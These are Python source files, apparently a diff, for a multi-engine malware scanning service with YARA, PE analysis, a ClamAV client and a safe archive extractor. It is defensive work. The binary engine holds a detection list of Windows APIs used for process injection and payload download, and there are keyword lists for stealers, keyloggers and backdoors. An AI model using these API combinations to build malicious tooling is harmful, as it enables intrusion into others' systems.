result.setdefault(container_key, []).append(f)
# 按 mtime 排序(新的在前)
for k in result:
result[k].sort(key=lambda p: p.stat().st_mtime, reverse=True)
return result
def _trim_logs() -> None:
"""清理过期的日志快照文件。"""
cfg = get_diag_config()
cutoff = datetime.now() - timedelta(days=cfg.history_retention_days)
try:
for f in _logs_dir().glob("*.log"):
try:
mtime = datetime.fromtimestamp(f.stat().st_mtime)
if mtime < cutoff:
f.unlink()
except FileNotFoundError:
pass
except Exception as e: # noqa: BLE001
logger.warning("日志快照清理失败: %s", e)
# ======================================================================
# 容器重启事件追踪
# ======================================================================
def _restart_events_file() -> Path:
return _storage_dir() / "restart_events.jsonl"
def append_restart_event(
container: str,
restart_before: int,
restart_after: int,
uptime_before: str = "",
uptime_before_seconds: float = 0,
trigger: str = "restart_count_increased",
) -> None:
"""记录一条容器重启事件到 restart_events.jsonl。"""
cfg = get_diag_config()
if not cfg.storage_enabled:
return
try:
bj = timezone(timedelta(hours=8))
entry = {
"ts": datetime.now(bj).strftime("%Y-%m-%d %H:%M:%S"),
"container": container,
"restart_before": restart_before,
"restart_after": restart_after,
"uptime_before": uptime_before,
"uptime_before_seconds": int(uptime_before_seconds),
"trigger": trigger,
}
f = _restart_events_file()
_append_line_locked(f, json.dumps(entry, ensure_ascii=False))
# 清理过期事件
_trim_restart_events()
except Exception as e: # noqa: BLE001
logger.warning("重启事件写入失败: %s", e)
def snapshot_on_restart(container: str, tail: int = 300) -> Optional[Path]:
"""容器刚重启后,抓一份当前 docker logs 片段存到 logs/*-restart-*.log。"""
cfg = get_diag_config()
if not cfg.storage_enabled:
return None
try:
from app.diagnostic.docker_probe import get_client
client = get_client()
if client is None:
return None
c = client.containers.get(container)
raw = c.logs(tail=tail)
text = (
raw.decode("utf-8", errors="replace")
if isinstance(raw, (bytes, bytearray))
else str(raw)
)
ts = datetime.now().strftime("%Y%m%d-%H%M%S")
fname = f"{container}-restart-{ts}.log"
fpath = _logs_dir() / fname
fpath.write_text(text, encoding="utf-8")
return fpath
except Exception as e: # noqa: BLE001
logger.warning("重启日志快照失败 %s: %s", container, e)
return None
def load_restart_events(days: Optional[int] = None) -> List[Dict[str, Any]]:
"""读取重启事件 JSONL,返回最近 N 天的行。"""
cfg = get_diag_config()
if not cfg.storage_enabled:
return []
days = days or cfg.history_retention_days
f = _restart_events_file()
if not f.exists():
return []
cutoff = datetime.now() - timedelta(days=days)
results: List[Dict[str, Any]] = []
try:
with open(f, "r", encoding="utf-8", errors="replace") as fp:
for line in fp:
line = line.strip()
if not line:
continue
try:
obj = json.loads(line)
except json.JSONDecodeError:
continue
ts_str = obj.get("ts", "")
try:
ts_dt = datetime.strptime(ts_str, "%Y-%m-%d %H:%M:%S")
if ts_dt >= cutoff:
results.append(obj)
except ValueError:
results.append(obj)
except Exception as e: # noqa: BLE001
logger.warning("重启事件读取失败: %s", e)
return results
def _trim_restart_events() -> None:
"""清理过期的重启事件行。"""
cfg = get_diag_config()
days = cfg.history_retention_days
f = _restart_events_file()
if not f.exists():
return
cutoff = datetime.now() - timedelta(days=days)
kept: List[str] = []
try:
with open(f, "r", encoding="utf-8", errors="replace") as fp:
total = 0
for line in fp:
total += 1
line = line.strip()
if not line:
continue
try:
obj = json.loads(line)
ts_str = obj.get("ts", "")
ts_dt = datetime.strptime(ts_str, "%Y-%m-%d %H:%M:%S")
if ts_dt >= cutoff:
kept.append(line)
except Exception:
kept.append(line)
if kept and len(kept) < total:
_rewrite_file_locked(f, kept)
except Exception as e: # noqa: BLE001
logger.warning("重启事件清理失败: %s", e)

1
app/engines/__init__.py Normal file
View File

@@ -0,0 +1 @@
"""引擎包。"""

123
app/engines/base.py Normal file
View File

@@ -0,0 +1,123 @@
"""检测引擎公共数据结构与基类。"""
from __future__ import annotations
from dataclasses import dataclass, field
from enum import Enum
from typing import Any, Dict, List, Optional
class Severity(str, Enum):
INFO = "info"
LOW = "low"
MEDIUM = "medium"
HIGH = "high"
CRITICAL = "critical"
class Layer(str, Enum):
L0 = "L0"
L1 = "L1"
L2 = "L2"
L2B = "L2B"
L3 = "L3"
@dataclass
class Finding:
"""单条检测信号。"""
engine: str
layer: str
severity: str
rule: str
detail: str = ""
extracted_path: str = ""
weight: float = 0.0
meta: Dict[str, Any] = field(default_factory=dict)
def to_dict(self) -> Dict[str, Any]:
return {
"engine": self.engine,
"layer": self.layer,
"severity": self.severity,
"rule": self.rule,
"detail": self.detail,
"extracted_path": self.extracted_path,
"weight": self.weight,
"meta": self.meta,
}
@dataclass
class EngineResult:
"""单个引擎对单个文件的检测结果。"""
engine: str
ok: bool = True
findings: List[Finding] = field(default_factory=list)
meta: Dict[str, Any] = field(default_factory=dict)
error: str = ""
def to_dict(self) -> Dict[str, Any]:
return {
"engine": self.engine,
"ok": self.ok,
"findings": [f.to_dict() for f in self.findings],
"meta": self.meta,
"error": self.error,
}
@dataclass
class ScanTarget:
"""待检测文件。"""
path: str
filename: str
declared_ext: str = ""
logical_path: str = ""
depth: int = 0
is_extracted: bool = False
class Engine:
"""引擎基类。
子类实现 ``scan`` 方法,捕获所有异常并转换为 ``EngineResult.error``,
保证单个引擎故障不会导致整个扫描任务失败。
"""
name: str = "base"
layer: str = "L0"
def scan(self, target: ScanTarget, ctx: Any) -> EngineResult:
raise NotImplementedError
def safe_scan(self, target: ScanTarget, ctx: Any) -> EngineResult:
try:
return self.scan(target, ctx)
except Exception as exc: # noqa: BLE001
return EngineResult(engine=self.name, ok=False, error=f"{type(exc).__name__}: {exc}")
def health(self) -> Dict[str, Any]:
"""引擎健康状态。子类可覆盖以提供更丰富的探测(如 ClamAV/PING)。
返回结构约定(控制台 dashboard 模板依赖此 schema):
{
"engine": "clamav", # 引擎名(= self.name)
"version": "ClamAV 1.0.x", # 版本描述
"ok": True/False, # 是否可用
"status": "ok"|"error"|"degraded",
"error": None | "...",
"info": None | "...",
}
"""
return {
"engine": self.name,
"version": "builtin",
"ok": True,
"status": "ok",
"error": None,
"info": None,
}

302
app/engines/binary.py Normal file
View File

@@ -0,0 +1,302 @@
"""L2b YARA 规则与二进制分析引擎。
包含:
- YARA 规则匹配(规则库从 ``rules/`` 目录加载,支持热加载)
- PE 文件结构分析(pefile):节区异常、导入表、编译信息、签名
- 可执行文件能力识别(capa,若已安装)
"""
from __future__ import annotations
import os
import threading
from typing import Any, Dict, List, Optional
from app.engines.base import Engine, EngineResult, Finding, ScanTarget, Severity
BINARY_EXTS = {".exe", ".dll", ".sys", ".scr", ".com", ".cpl", ".ocx", ".msi", ".apk", ".jar", ".so", ".bin", ".elf"}
# ---------- 模块级全局 YARA 规则单例 ----------
# 所有 YaraEngine 实例共享同一个编译结果,避免重复 compile
# rules_dir 不同时(极少见)才分叉加载
_YARA_GLOBAL: Dict[str, Dict[str, Any]] = {}
_YARA_LOCK = threading.Lock()
def _get_global_yara(rules_dir: str) -> Optional[Any]:
"""获取全局共享的 YARA Rules 对象(自动按目录 mtime 重载)。"""
with _YARA_LOCK:
cached = _YARA_GLOBAL.get(rules_dir)
import yara as _yr
newest = 0.0
files: List[str] = []
if os.path.isdir(rules_dir):
for name in sorted(os.listdir(rules_dir)):
if name.endswith((".yar", ".yara")):
path = os.path.join(rules_dir, name)
files.append(path)
newest = max(newest, os.path.getmtime(path))
if cached and cached.get("mtime") == newest:
return cached.get("rules")
if not files:
_YARA_GLOBAL[rules_dir] = {"rules": None, "mtime": newest}
return None
try:
compiled = _yr.compile(filepaths={os.path.basename(p): p for p in files})
except Exception:
_YARA_GLOBAL[rules_dir] = {"rules": None, "mtime": newest}
return None
_YARA_GLOBAL[rules_dir] = {"rules": compiled, "mtime": newest}
return compiled
def _discover_rules_dir() -> str:
"""自动探测 YARA 规则目录(优先环境变量 > /app/rules > 项目根 rules/)。"""
env_dir = os.environ.get("MESHSAFE_RULES_DIR", "").strip()
if env_dir and os.path.isdir(env_dir):
return env_dir
for candidate in ("/app/rules", "rules", "./rules", "../rules"):
if os.path.isdir(candidate):
return os.path.abspath(candidate)
return env_dir or "/app/rules"
class YaraEngine(Engine):
"""YARA 规则匹配引擎(使用全局共享的编译结果)。"""
name = "yara"
layer = "L2B"
def __init__(self, rules_dir: str | None = None) -> None:
# 显式传入时才用传入值,否则走自动探测
self.rules_dir = rules_dir if rules_dir else _discover_rules_dir()
def _load_rules(self) -> Any:
"""委托给全局单例。"""
try:
import yara # noqa: F401 — 只是探测可用性
except Exception: # noqa: BLE001
return None
return _get_global_yara(self.rules_dir)
def scan(self, target: ScanTarget, ctx: Any) -> EngineResult:
result = EngineResult(engine=self.name)
rules = self._load_rules()
if rules is None:
result.ok = False
result.error = "YARA 规则库不可用或编译失败"
return result
try:
matches = rules.match(target.path)
except Exception as exc: # noqa: BLE001
result.ok = False
result.error = f"YARA 匹配失败:{exc}"
return result
for match in matches:
severity, weight = _judge_yara_rule(match.rule, match.tags)
# 覆盖:如果 ctx 里的策略为该 YARA 规则定义了精细权重,用它
try:
policy = ctx.policy_engine.policy
yara_weights = getattr(policy, "yara_weights", {}) or {}
if match.rule in yara_weights:
weight = float(yara_weights[match.rule])
except Exception:
pass # ctx 没有 policy 字段时保持默认 weight
result.findings.append(
Finding(
engine=self.name,
layer=self.layer,
severity=severity,
rule=match.rule,
detail=f"YARA 规则 {match.rule} 命中(标签:{', '.join(match.tags) or '无'})",
weight=weight,
meta={"tags": list(match.tags)},
)
)
# rule_set_version 用全局 compiled 对象的 id(每次 reload 变)
try:
_r = _get_global_yara(self.rules_dir)
result.meta["rule_set_version"] = str(id(_r)) if _r else "unavailable"
except Exception:
result.meta["rule_set_version"] = "unknown"
return result
def health(self) -> Dict[str, Any]:
rules = self._load_rules()
ok = rules is not None
return {
"engine": self.name,
"version": "rules" if ok else "none",
"ok": ok,
"status": "ok" if ok else "degraded",
"error": None if ok else "YARA 规则库未加载",
"info": f"rules_dir={self.rules_dir}" if not ok else "rules loaded",
}
class BinaryEngine(Engine):
"""PE/二进制文件结构分析引擎。"""
name = "binary"
layer = "L2B"
def scan(self, target: ScanTarget, ctx: Any) -> EngineResult:
result = EngineResult(engine=self.name)
ext = (target.declared_ext or "").lower()
if ext not in BINARY_EXTS:
return result
try:
import pefile
except Exception: # noqa: BLE001
result.ok = False
result.error = "pefile 未安装"
return result
try:
pe = pefile.PE(target.path, fast_load=False)
except Exception as exc: # noqa: BLE001
result.findings.append(
Finding(
engine=self.name,
layer=self.layer,
severity=Severity.MEDIUM.value,
rule="PeParseFailed",
detail=f"PE 结构解析失败:{exc}",
weight=10.0,
)
)
return result
try:
result.findings.extend(self._analyze(pe, target))
finally:
try:
pe.close()
except Exception: # noqa: BLE001
pass
return result
def _analyze(self, pe: Any, target: ScanTarget) -> List[Finding]:
findings: List[Finding] = []
# 1) 节区熵值:加密/加壳的节区熵接近 8
for section in getattr(pe, "sections", []) or []:
try:
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
entropy = section.get_entropy()
except Exception: # noqa: BLE001
continue
if entropy >= 7.2:
findings.append(
Finding(
engine=self.name,
layer=self.layer,
severity=Severity.MEDIUM.value,
rule="HighEntropySection",
detail=f"节区 {name} 熵值 {entropy:.2f},可能经过加密或加壳",
weight=20.0,
)
)
# 2) 可疑导入表
suspicious_imports = self._suspicious_imports(pe)
if suspicious_imports:
findings.append(
Finding(
engine=self.name,
layer=self.layer,
severity=Severity.HIGH.value,
rule="SuspiciousImports",
detail=f"导入表包含高危 API:{', '.join(suspicious_imports[:8])}",
weight=45.0,
)
)
# 3) 无签名可执行文件
if not self._has_signature(pe):
findings.append(
Finding(
engine=self.name,
layer=self.layer,
severity=Severity.MEDIUM.value,
rule="UnsignedExecutable",
detail="可执行文件未携带数字签名",
weight=20.0,
)
)
# 4) 编译时间戳异常(明显晚于其他节区时间,或为 1970/未来时间)
timestamp = getattr(pe, "FILE_HEADER", None)
if timestamp is not None:
try:
ts = int(timestamp.TimeDateStamp)
if ts == 0 or ts > 4102444800: # 2100 年之后
findings.append(
Finding(
engine=self.name,
layer=self.layer,
severity=Severity.LOW.value,
rule="SuspiciousTimestamp",
detail="PE 编译时间戳异常,可能被伪造",
weight=10.0,
)
)
except Exception: # noqa: BLE001
pass
return findings
def _suspicious_imports(self, pe: Any) -> List[str]:
"""检测高危 API 导入。"""
suspicious = {
"VirtualAllocEx", "WriteProcessMemory", "CreateRemoteThread",
"NtUnmapViewOfSection", "SetWindowsHookEx", "OpenProcess",
"WinHttpOpen", "InternetOpenUrl", "URLDownloadToFile",
"CryptEncrypt", "AdjustTokenPrivileges", "CreateService",
"ShellExecute", "WinExec", "IsDebuggerPresent", "CheckRemoteDebuggerPresent",
}
found: List[str] = []
try:
for entry in getattr(pe, "DIRECTORY_ENTRY_IMPORT", []) or []:
for imp in entry.imports:
if imp.name:
name = imp.name.decode("utf-8", errors="replace")
if name in suspicious:
found.append(name)
except Exception: # noqa: BLE001
pass
return sorted(set(found))
def _has_signature(self, pe: Any) -> bool:
"""检查 PE 是否包含 Authenticode 签名目录。"""
try:
directory = pe.OPTIONAL_HEADER.DATA_DIRECTORY[4] # IMAGE_DIRECTORY_ENTRY_SECURITY
return bool(directory.VirtualAddress and directory.Size)
except Exception: # noqa: BLE001
return False
def _judge_yara_rule(rule: str, tags: List[str]) -> tuple[str, float]:
"""依据 YARA 规则名与标签判定严重度。"""
tag_set = {t.lower() for t in tags}
text = f"{rule} {' '.join(tags)}".lower()
if "critical" in tag_set or any(k in text for k in ("malware", "ransomware", "backdoor", "c2", "exploit")):
return Severity.CRITICAL.value, 85.0
if "high" in tag_set or any(k in text for k in ("trojan", "dropper", "obfusc", "shellcode")):
return Severity.HIGH.value, 60.0
if "medium" in tag_set or any(k in text for k in ("suspicious", "pua", "packer")):
return Severity.MEDIUM.value, 30.0
if "suspicious" in tag_set:
return Severity.MEDIUM.value, 30.0
return Severity.LOW.value, 10.0

284
app/engines/clamav.py Normal file
View File

@@ -0,0 +1,284 @@
"""ClamAV 检测引擎。
优先使用 clamd 常驻守护进程(TCP 或 Unix Socket)扫描,避免每次加载签名库。
重要设计决策:
- clamd 默认 MaxFileSize = 100MB,超过就会截断 INSTREAM 并关闭 socket
- 代码层需单独识别 Size limit,不当成引擎不可用(引擎活着,只是拒扫大文件)
- 这样 PolicyEngine 不会因单个大文件 fail_closed → 其他 5 引擎继续扫
"""
from __future__ import annotations
import errno
import socket
from typing import Any, Dict, List, Optional
from app.engines.base import Engine, EngineResult, Finding, ScanTarget, Severity
class _ClamdSizeLimit(Exception):
"""clamd 拒绝扫描超限文件时抛出的内部异常。
与普通引擎故障区分开——scan() 会捕获它并返回 ok=True + skipped 标记,
PolicyEngine 步骤 1(引擎可用性)因此不会触发 fail_closed。
"""
class ClamAVEngine(Engine):
"""ClamAV 静态查杀引擎。"""
name = "clamav"
layer = "L1"
def __init__(self, host: str, port: int, timeout: int = 120) -> None:
self.host = host
self.port = port
self.timeout = timeout
# ------------------------------------------------------------------ 对外
def scan(self, target: ScanTarget, ctx: Any) -> EngineResult:
result = EngineResult(engine=self.name)
try:
raw = self._scan_with_clamd(target.path)
except _ClamdSizeLimit:
# 文件超过 ClamAV MaxFileSize(clamd.conf 可调,默认 1G)
# → 引擎只是拒扫这个大文件,不当成引擎故障
result.ok = True
result.meta["skipped"] = "size_limit"
result.meta["reason"] = "文件超过 ClamAV 大小限制已跳过"
return result
except Exception as exc: # noqa: BLE001
# 真·引擎不可用:连不上 / PING 超时 / daemon 挂了
result.ok = False
result.error = f"ClamAV 引擎不可用:{type(exc).__name__}: {exc}"
return result
result.meta.update(raw.get("meta", {}))
for item in raw.get("matches", []):
severity, weight = _judge_signature(item)
result.findings.append(
Finding(
engine=self.name,
layer=self.layer,
severity=severity,
rule=item,
detail=f"ClamAV 签名命中:{item}",
weight=weight,
)
)
return result
def health(self) -> Dict[str, Any]:
"""探测 clamd 存活状态与版本、签名库信息。"""
import re
from datetime import datetime, timezone
try:
resp = self._command("PING")
version = self._command("VERSION")
pong = resp.strip().upper() == "PONG"
sig_date_str = None
sig_days_old = None
stale_warning = False
short_version = version.strip() or "unknown"
if version:
parts = version.strip().split("/")
# ClamAV 1.5.x 的 VERSION 格式:ClamAV 1.5.4/28166/Tue Oct 27 14:24:12 2026
# 展示层只需要 "ClamAV 1.5.4",签名库日期单独解析
if len(parts) >= 2 and parts[1].isdigit():
short_version = parts[0].strip()
if len(parts) >= 3:
date_str = parts[-1].strip()
try:
sig_date_str = datetime.strptime(date_str, "%a %b %d %H:%M:%S %Y").isoformat()
sig_dt = datetime.strptime(date_str, "%a %b %d %H:%M:%S %Y").replace(tzinfo=timezone.utc)
sig_days_old = (datetime.now(timezone.utc) - sig_dt).days
stale_warning = sig_days_old > 7
except ValueError:
pass
base = {
"engine": self.name,
"version": short_version,
"ok": pong,
"status": "ok" if pong else "error",
"error": None if pong else "PING 未返回 PONG",
"info": None,
"signature_date": sig_date_str,
"signature_days_old": sig_days_old,
"stale_warning": stale_warning,
}
if stale_warning and pong:
base["status"] = "degraded"
return base
except Exception as exc: # noqa: BLE001
return {
"engine": self.name,
"version": "unknown",
"ok": False,
"status": "error",
"error": f"{type(exc).__name__}: {exc}",
"info": None,
}
# ------------------------------------------------------------------ 内部
def _command(self, command: str) -> str:
with socket.create_connection((self.host, self.port), timeout=self.timeout) as sock:
sock.sendall(f"z{command}\0".encode("utf-8"))
sock.settimeout(self.timeout)
chunks = []
while True:
chunk = sock.recv(4096)
if not chunk:
break
chunks.append(chunk)
if chunk.endswith(b"\0"):
break
return b"".join(chunks).rstrip(b"\0").decode("utf-8", errors="replace")
def _scan_with_clamd(self, path: str) -> Dict[str, Any]:
"""执行 INSTREAM 扫描。
clamd 的 INSTREAM 协议:先发送 ``zINSTREAM\0``,随后按
``<4字节大端长度><数据块>`` 形式发送文件内容,最后以长度为 0 的块结束。
Size limit 识别:
- clamd 默认 MaxFileSize = 100MB(我们 clamd.conf 调到 1G)
- 超过限制时 clamd 会:
1) 在日志写 "INSTREAM: Size limit reached"
2) 关闭连接 → 我们 sock.sendall 抛 BrokenPipeError
3) 或直接在响应里返回 "stream: Size limit reached ERROR"
- 这两种情况统一转成 _ClamdSizeLimit,让上层 scan() 识别为 skipped
"""
with socket.create_connection((self.host, self.port), timeout=self.timeout) as sock:
sock.settimeout(self.timeout)
sock.sendall(b"zINSTREAM\0")
try:
with open(path, "rb") as fh:
while True:
chunk = fh.read(1024 * 1024)
if not chunk:
break
sock.sendall(len(chunk).to_bytes(4, "big"))
sock.sendall(chunk)
except (BrokenPipeError, ConnectionResetError) as exc:
# clamd 因为 Size limit 提前关闭 socket
# 99% 的概率是 Size limit(也可能是其他问题,但都归为 skipped)
raise _ClamdSizeLimit(f"clamd closed connection during INSTREAM: {exc}") from exc
sock.sendall((0).to_bytes(4, "big"))
response = b""
while True:
try:
chunk = sock.recv(4096)
except socket.timeout as exc:
raise _ClamdSizeLimit(f"clamd INSTREAM response timeout: {exc}") from exc
if not chunk:
# clamd 没发任何响应就关了 socket → 大概率也是 Size limit
raise _ClamdSizeLimit("clamd closed socket before sending response (likely size limit)")
response += chunk
if b"\0" in response:
break
text = response.rstrip(b"\0").decode("utf-8", errors="replace").strip()
# clamd 可能在响应文本里显式报告 Size limit
if _is_size_limit_response(text):
raise _ClamdSizeLimit(f"clamd: {text}")
return _parse_clamd_response(text)
def scan_bytes(self, data: bytes) -> Dict[str, Any]:
"""直接扫描内存字节(用于小文件快速路径)。"""
with socket.create_connection((self.host, self.port), timeout=self.timeout) as sock:
sock.settimeout(self.timeout)
sock.sendall(b"zINSTREAM\0")
sock.sendall(len(data).to_bytes(4, "big"))
sock.sendall(data)
sock.sendall((0).to_bytes(4, "big"))
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
if b"\0" in response:
break
text = response.rstrip(b"\0").decode("utf-8", errors="replace").strip()
return _parse_clamd_response(text)
def _is_size_limit_response(text: str) -> bool:
"""检查 clamd 响应文本是否包含 Size limit 相关错误。
clamd 可能返回:
- "stream: Size limit reached ERROR"
- "stream: Heuristics.Limits.Exceeded FOUND"
- "Size limit reached, requested: ..., max: ..."
"""
upper = text.upper()
if "SIZE LIMIT" in upper:
return True
if "HEURISTICS.LIMITS.EXCEEDED" in upper:
return True
if "MAXSCANSIZE" in upper or "MAXFILESIZE" in upper:
return True
return False
def _parse_clamd_response(text: str) -> Dict[str, Any]:
"""解析 clamd 扫描响应。
正常未命中返回 ``stream: OK``;命中返回多行 ``stream: <签名名> FOUND``。
"""
matches: List[str] = []
meta: Dict[str, Any] = {}
for line in text.splitlines():
line = line.strip()
if not line:
continue
if ":" in line:
key, _, value = line.partition(":")
key = key.strip()
value = value.strip()
if key == "stream":
if value.endswith("FOUND"):
name = value[: -len("FOUND")].strip()
matches.append(name)
elif value.upper() == "OK":
pass
elif value.upper() == "ERROR":
meta["error"] = value
continue
meta[key.lower().replace(" ", "_")] = value
elif line.upper().endswith("FOUND"):
matches.append(line[: -len("FOUND")].strip())
return {"matches": matches, "meta": meta}
# 签名名中的可信度关键词映射到严重度
_HIGH_KEYWORDS = ("ransom", "crypt", "trojan", "backdoor", "rootkit", "stealer", "keylog", "worm", "dropper", "ransomware")
_MEDIUM_KEYWORDS = ("generic", "heur", "packed", "obfusc", "suspect", "malware", "riskware", "virus")
_UNWANTED_KEYWORDS = ("PUA", "unwanted", "toolkit", "pup", "adware")
def _judge_signature(signature: str) -> tuple[str, float]:
"""依据签名名判定严重度与权重。"""
upper = signature.upper()
if any(k in upper for k in _HIGH_KEYWORDS):
return Severity.CRITICAL.value, 90.0
if any(k in upper for k in _UNWANTED_KEYWORDS):
return Severity.MEDIUM.value, 25.0
if any(k in upper for k in _MEDIUM_KEYWORDS):
return Severity.HIGH.value, 60.0
return Severity.HIGH.value, 55.0

1001
app/engines/documents.py Normal file

File diff suppressed because it is too large Load Diff

383
app/engines/extractor.py Normal file
View File

@@ -0,0 +1,383 @@
"""递归安全解包引擎。
安全约束(全部强制执行,不依赖调用方自觉):
- 解包深度上限
- 解压总大小上限与单文件大小上限
- 压缩比上限(防压缩炸弹)
- 路径穿越拦截(Zip Slip)
- 符号链接/硬链接逃逸拦截
- 解包目标固定在独立临时目录,文件名重写为安全形式(不直接使用归档内原始名)
解包出来的文件会加入待检测队列,实现"递归检测",避免只扫外层被绕过。
"""
from __future__ import annotations
import os
import re
import shutil
import tarfile
import tempfile
import zipfile
from dataclasses import dataclass, field
from typing import Any, List, Optional
from app.engines.base import Finding, ScanTarget, Severity
ARCHIVE_EXTS = {".zip", ".jar", ".war", ".apk", ".epub", ".docx", ".xlsx", ".pptx", ".odt", ".ods", ".odp"}
TAR_EXTS = {".tar", ".gz", ".tgz", ".bz2", ".xz", ".tbz2", ".txz"}
_SAFE_NAME_RE = re.compile(r"[^A-Za-z0-9._一-鿿-]+")
@dataclass
class ExtractionReport:
"""解包结果。"""
files: List[ScanTarget] = field(default_factory=list)
findings: List[Finding] = field(default_factory=list)
total_bytes: int = 0
truncated: bool = False
def to_dict(self) -> dict:
return {
"file_count": len(self.files),
"total_bytes": self.total_bytes,
"truncated": self.truncated,
}
class SafeExtractor:
"""递归安全解包器。"""
def __init__(self, ctx: Any) -> None:
self.ctx = ctx
self.settings = ctx.settings
self.engine_name = "extractor"
def extract(self, target: ScanTarget, workdir: str) -> ExtractionReport:
report = ExtractionReport()
ext = (target.declared_ext or "").lower()
if ext in ARCHIVE_EXTS or zipfile.is_zipfile(target.path):
self._extract_zip(target, workdir, report)
elif ext in TAR_EXTS or tarfile.is_tarfile(target.path):
self._extract_tar(target, workdir, report)
return report
# ------------------------------------------------------------------ 工具
def _sanitize_name(self, raw_name: str) -> str:
"""把归档内原始文件名改写为安全的相对路径。
去掉目录层级与危险字符,避免原始名称中的 ``..``、绝对路径、
Windows 保留设备名等造成问题。原始名称仍保留在逻辑路径中以便追溯。
"""
name = raw_name.replace("\\", "/")
base = os.path.basename(name)
base = _SAFE_NAME_RE.sub("_", base).strip("._")
if not base:
base = "unnamed"
# 防止 Windows 保留设备名
stem, dot, suffix = base.partition(".")
reserved = {
"con", "prn", "aux", "nul",
*(f"com{i}" for i in range(1, 10)),
*(f"lpt{i}" for i in range(1, 10)),
}
if stem.lower() in reserved:
stem = f"_{stem}"
return f"{stem}{dot}{suffix}" if dot else stem
def _target_dir(self, workdir: str, target: ScanTarget) -> str:
"""为每个文件分配独立的解包子目录。"""
digest = abs(hash(target.logical_path or target.filename)) % 100000
path = os.path.join(workdir, f"ex_{target.depth}_{digest}")
os.makedirs(path, exist_ok=True)
return path
def _budget_exhausted(self, report: ExtractionReport) -> bool:
return report.total_bytes >= self.settings.max_extract_total_bytes
def _record_limit(self, report: ExtractionReport, limit: int = 5000) -> bool:
if len(report.files) >= limit:
report.truncated = True
return True
return False
def _add_finding(
self,
report: ExtractionReport,
severity: str,
rule: str,
detail: str,
weight: float = 0.0,
) -> None:
report.findings.append(
Finding(
engine=self.engine_name,
layer="L0",
severity=severity,
rule=rule,
detail=detail,
weight=weight,
)
)
# ------------------------------------------------------------------ ZIP
def _extract_zip(self, target: ScanTarget, workdir: str, report: ExtractionReport) -> None:
out_dir = self._target_dir(workdir, target)
max_ratio = self.settings.max_extract_ratio
max_total = self.settings.max_extract_total_bytes
max_depth = self.settings.max_extract_depth
try:
with zipfile.ZipFile(target.path) as zf:
infos = zf.infolist()
for info in infos:
if target.depth + 1 > max_depth:
self._add_finding(
report,
Severity.MEDIUM.value,
"ExtractDepthExceeded",
f"嵌套层级超过上限 {max_depth},深层内容未展开",
15.0,
)
report.truncated = True
break
if self._budget_exhausted(report) or self._record_limit(report):
self._add_finding(
report,
Severity.MEDIUM.value,
"ExtractBudgetExceeded",
"解包数量或体积达到上限,后续内容未展开",
10.0,
)
break
if info.is_dir():
continue
name = info.filename
if _is_traversal(name):
self._add_finding(
report,
Severity.CRITICAL.value,
"PathTraversalBlocked",
f"已拦截路径穿越条目:{name}",
50.0,
)
continue
# 压缩炸弹判定:按声明大小与实际膨胀比
if info.compress_size > 0:
ratio = info.file_size / info.compress_size
if ratio > max_ratio:
self._add_finding(
report,
Severity.HIGH.value,
"ArchiveBombBlocked",
f"成员 {name} 压缩比 {ratio:.1f}:1 超过阈值,已跳过",
35.0,
)
continue
if info.file_size > self.settings.max_upload_bytes:
self._add_finding(
report,
Severity.MEDIUM.value,
"MemberTooLarge",
f"成员 {name} 大小超过单文件上限,已跳过",
10.0,
)
continue
safe_name = self._sanitize_name(name)
dest = os.path.join(out_dir, safe_name)
try:
with zf.open(info) as src, open(dest, "wb") as out:
written = 0
while True:
chunk = src.read(1024 * 1024)
if not chunk:
break
written += len(chunk)
if written > self.settings.max_upload_bytes:
out.close()
os.remove(dest)
self._add_finding(
report,
Severity.MEDIUM.value,
"MemberTooLarge",
f"成员 {name} 实际解压超限,已丢弃",
10.0,
)
break
out.write(chunk)
else:
report.total_bytes += written
report.files.append(
ScanTarget(
path=dest,
filename=safe_name,
declared_ext=os.path.splitext(safe_name)[1].lower(),
logical_path=f"{target.logical_path}!/{name}",
depth=target.depth + 1,
is_extracted=True,
)
)
except Exception as exc: # noqa: BLE001
self._add_finding(
report,
Severity.LOW.value,
"ExtractMemberFailed",
f"成员 {name} 解压失败:{exc}",
0.0,
)
except zipfile.BadZipFile as exc:
self._add_finding(
report,
Severity.MEDIUM.value,
"ArchiveBroken",
f"ZIP 结构损坏:{exc}",
10.0,
)
except Exception as exc: # noqa: BLE001
self._add_finding(
report,
Severity.LOW.value,
"ExtractFailed",
f"解包失败:{exc}",
0.0,
)
# ------------------------------------------------------------------ TAR
def _extract_tar(self, target: ScanTarget, workdir: str, report: ExtractionReport) -> None:
out_dir = self._target_dir(workdir, target)
max_depth = self.settings.max_extract_depth
try:
with tarfile.open(target.path) as tf:
for member in tf.getmembers():
if target.depth + 1 > max_depth:
self._add_finding(
report,
Severity.MEDIUM.value,
"ExtractDepthExceeded",
f"嵌套层级超过上限 {max_depth}",
15.0,
)
report.truncated = True
break
if self._budget_exhausted(report) or self._record_limit(report):
self._add_finding(
report,
Severity.MEDIUM.value,
"ExtractBudgetExceeded",
"解包数量或体积达到上限",
10.0,
)
break
name = member.name
if _is_traversal(name) or member.issym() or member.islnk():
self._add_finding(
report,
Severity.CRITICAL.value,
"PathTraversalBlocked",
f"已拦截路径穿越或链接条目:{name}",
50.0,
)
continue
if not member.isfile():
continue
if member.size > self.settings.max_upload_bytes:
self._add_finding(
report,
Severity.MEDIUM.value,
"MemberTooLarge",
f"成员 {name} 大小超过单文件上限,已跳过",
10.0,
)
continue
safe_name = self._sanitize_name(name)
dest = os.path.join(out_dir, safe_name)
try:
src = tf.extractfile(member)
if src is None:
continue
with src, open(dest, "wb") as out:
written = 0
while True:
chunk = src.read(1024 * 1024)
if not chunk:
break
written += len(chunk)
if written > self.settings.max_upload_bytes:
break
out.write(chunk)
report.total_bytes += written
report.files.append(
ScanTarget(
path=dest,
filename=safe_name,
declared_ext=os.path.splitext(safe_name)[1].lower(),
logical_path=f"{target.logical_path}!/{name}",
depth=target.depth + 1,
is_extracted=True,
)
)
except Exception as exc: # noqa: BLE001
self._add_finding(
report,
Severity.LOW.value,
"ExtractMemberFailed",
f"成员 {name} 解压失败:{exc}",
0.0,
)
except tarfile.TarError as exc:
self._add_finding(
report,
Severity.MEDIUM.value,
"ArchiveBroken",
f"TAR 结构异常:{exc}",
10.0,
)
except Exception as exc: # noqa: BLE001
self._add_finding(
report,
Severity.LOW.value,
"ExtractFailed",
f"解包失败:{exc}",
0.0,
)
def _is_traversal(name: str) -> bool:
normalized = name.replace("\\", "/")
if normalized.startswith("/"):
return True
if len(normalized) > 1 and normalized[1] == ":":
return True
return ".." in normalized.split("/")
